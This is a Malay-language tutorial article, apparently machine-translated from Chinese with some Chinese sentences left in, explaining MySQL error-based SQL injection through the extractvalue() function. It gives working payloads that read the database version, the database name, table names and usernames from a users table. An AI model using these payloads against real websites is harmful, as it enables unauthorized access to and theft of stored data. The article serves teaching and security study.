Rumah  >  Artikel  >  pangkalan data  >  Apakah suntikan ralat mysql?

Apakah suntikan ralat mysql?

WBOY
WBOYasal
2022-03-09 13:58:132848semak imbas

Dalam mysql, suntikan ralat merujuk kepada membina pernyataan yang sesuai untuk mendapatkan data yang dikehendaki melalui maklumat ralat yang dilaporkan pada halaman jika sistem aplikasi tidak menutup fungsi ralat pangkalan data, anda boleh menggunakan fungsi extractvalue(). untuk mendapatkan data yang dikehendaki daripada sasaran Satu rentetan yang mengandungi nilai pertanyaan dikembalikan dalam XML.

Apakah suntikan ralat mysql?

Persekitaran pengendalian tutorial ini: sistem Windows 10, versi mysql8.0.22, komputer Dell G3.

Apakah suntikan ralat mysql?

1. Dan dalam keadaan apa ia digunakan?

Suntikan ralat juga boleh dikatakan sejenis suntikan buta------bina muatan supaya maklumat itu bergema melalui gesaan ralat. Anda boleh mempertimbangkan untuk menggunakan suntikan ralat apabila pertanyaan bersama tidak dapat mendedahkan kedudukan yang jelas.

Jadi bagaimanakah suntikan ralat terbentuk?

Pertama, sistem aplikasi tidak menutup fungsi pelaporan ralat pangkalan data Ralat dalam beberapa penyata SQL digemakan secara langsung pada halaman, malah ada yang membocorkan secara langsung nama pangkalan data dan nama jadual

Kedua, adalah penting bahawa fungsi pelaporan ralat MySQL yang sepadan tidak ditapis di latar belakang

2. Fungsi yang biasa digunakan untuk pelaporan ralat

Di sini saya menggunakan extractvalue() fungsi, yang fungsinya adalah untuk mengekstrak nilai daripada sasaran Mengembalikan rentetan yang mengandungi nilai yang ditanya dalam XML

EXTRACTVALUE (XML_document, XPath_string): Parameter pertama: XML_document adalah dalam format Rentetan dan merupakan nama XML document object; Parameter kedua: String)

3. Proses asas

1. Dapatkan maklumat versi

Gunakan pernyataan 1' dan extractvalue(1,concat(0x7e, (pilih @@versi), 0x7e))-- . Antaranya, concat ialah parameter dalam penggabungan (), dan 0x7e ialah simbol ~ selepas penyahkodan. -- ialah watak komen Komen semua kenyataan berikutnya dalam kod sumber untuk mengelakkan ralat. Keputusan selepas ujian adalah seperti berikut:

// 1 sebelum concat ialah parameter pertama bagi fungsi extractvalue(), yang boleh digantikan dengan sebarang nombor

//0x7e kedua dalam pernyataan boleh ditinggalkan

2. Dapatkan nama pangkalan data

Gunakan pernyataan

 1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e))--+,
3. Dapatkan nama jadual

     1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+. 其中group_concat将tale_name字段的所有行放在一行上显示出来,如下所示
4. Dapatkan data

    1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))--+. 修改其中的limit参数即可获取users表中的不同行内容
Pembelajaran yang disyorkan:

tutorial video mysql

Atas ialah kandungan terperinci Apakah suntikan ralat mysql?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn